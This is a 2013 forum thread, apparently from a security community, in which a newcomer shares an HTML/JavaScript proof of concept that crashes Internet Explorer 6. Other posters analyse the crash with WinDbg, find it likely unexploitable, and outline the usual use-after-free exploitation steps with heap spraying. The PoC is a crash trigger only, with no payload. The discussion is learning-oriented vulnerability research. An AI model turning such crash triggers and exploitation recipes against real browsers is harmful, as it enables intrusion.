IE6 use-after-free PoC

**Aodrulez** · 02-26-2013, 03:23 AM

Hi

I've just recently started looking into exploit development. I have this PoC that crashes IE6 & according to windbg, is exploitable. But am kinda having a hard time figuring out how to over-write the data of the vftable pointer. Or maybe theres a better approach? Any *pointers*?

Code:

<HTML>
<HEAD>
<SCRIPT type="text/JavaScript">
function initall() {
var tableElem = document.body.firstChild;
if(tableElem.childNodes.length > 0) {
tableElem.removeChild(tableElem.firstChild);
}
 
var targetBody = document.createElement('TBODY');
tableElem.appendChild(targetBody);
 
var sampleRow = document.createElement('TR');
var cell = document.createElement('TD');
for(var i = 0; i < 8; i++) {
sampleRow.appendChild(cell.cloneNode());
}
targetBody.appendChild(sampleRow);
 
setTimeout(initall, 1);
};
</SCRIPT>
</HEAD>
<BODY onload="initall();">
<TABLE><TBODY></TBODY></TABLE>
</BODY>
</HTML>

**Rashid bhatt** · 02-26-2013, 12:55 PM

Crash occurs at

mshtml!CTableLayout::ReleaseRowsAndSections+0xa7:
7d67ec9d 897a20 mov dword ptr [edx+20h],edi ds:0023:018002a0=????????

Stack Trace

0:000> k

ChildEBP RetAddr
0013d0f0 7d67f184 mshtml!CTableLayout::ReleaseRowsAndSections+0xa7
0013d108 7d67f22a mshtml!CTableLayout::ClearTableLayoutCache+0x25
0013d118 7d67f2e3 mshtml!CTableLayout::FlushGrid+0x31
0013d158 7d5a93d9 mshtml!CTableLayout::CreateTableLayoutCache+0x42
0013d160 7d544cc4 mshtml!CTableLayout::EnsureTableLayoutCache+0x29
0013d2a0 7d5069d1 mshtml!CTableLayout::CalcSizeVirtual+0x107

Reading from the source code of mshtml.dll from win2ksrc.rar ltable.cxx, we can determine the place where the crash takes place

for (ppSection = _aryBodys, iSection = _aryBodys.Size();
iSection > 0;
iSection--, ppSection++)
{
(*ppSection)->_iRow = 0; << crash happens here

(*ppSection)->_cRows = 0;
}

and at this place both edi always is zero and edx can not be controlled

mov dword ptr [edx+20h],edi ds:0023:018002a0=????????

PS: i Dont think its an exploitable crash!

**Aodrulez** · 02-26-2013, 01:27 PM

sweet!

Never knew about the online source-code thingy

and at this place both edi always is zero and edx can not be controlled

mov dword ptr [edx+20h],edi ds:0023:018002a0=????????

PS: i Dont think its an exploitable crash!

Thats what I thought too. So you mean to say, there has to be a way for us to control either of those registers or we can't exploit it? Now whats the whole business with heapsprays?
From what I understand, the above PoC crashes because that location was already freed. Isn't this how the usual use-after-free exploitation is done:

1. Initialize a variable/array on the heap.
2. Nullify an existing (different) tag/pointer.
3. Fill the array initialized at step-1 again,hoping this'll end up overwriting the vftable's pointer we just freed in step-2. (Provided the size of the data was the same? Dunno how this works yet)
4. Try to use the tag/pointer in step-2 & Bingo?

**Rashid bhatt** · 02-26-2013, 01:46 PM

Hey bro!

"Now whats the whole business with heapsprays"

Only memory layout can be controlled with heap sprays not registers!

From what I understand, the above PoC crashes because that location was already freed

The location was never allocated ! we can verify that from the dbg output "0023:018002a0=????????"

Thanks!

**Aodrulez** · 02-26-2013, 01:55 PM

Now things are making sense. One more thing, Lets say one finds a "use-after-free" vulnerability. Whats the usual approach to proceed further?

**Rashid bhatt** · 02-26-2013, 02:10 PM

Reliable PHP Exploitation from Windows XP to Windows 7 - Blogs - Garage4hackers Forum #heap spraying

**41.w4r10r** · 02-26-2013, 04:35 PM

use after free vulnerabilities notmally exploited in this way for browsers atleast

Create element -> delete that element(here memory is freed bu reference is kept (This is the problem)) -> Heap Spray(so that the memory occupied and freed in last step by element is now filled with your spayed data) -> try to access the same element which was deleted in 2nd step (so as the memory is controlled by you will be accessed as the reference was not deleted)

in very simple way:

create Element -> delete element -> heap spray -> access deleted element

**Aodrulez** · 02-26-2013, 10:11 PM

Got the concept

Thanks.
Now its time to test my theories

**41.w4r10r** · 02-26-2013, 10:45 PM

one of the best utilities which can be used for use after free vulnerability analysis is
gflags.exe (windbg)

one of the good article.
Debug Heap Issues Using Full Page Heap

**dolittle** · 05-09-2013, 02:44 PM

I found that using exploitable! from Microsoft gave in many cases indication and a good estimate on how exploitable is a vulnerability.

Try to use it, its pretty straight forward if you already have windbg running - !exploitable Crash Analyzer - MSEC Debugger Extensions - Home

If you cannot get it to work, let me know, I can help you with it

The forum is frozen forever - but it won't die; it'll stay for long in search engine results and we hope it would keep helping newbies in some way or other - cheers!

Thread: IE6 use-after-free PoC

Thread Tools

Search Thread

Display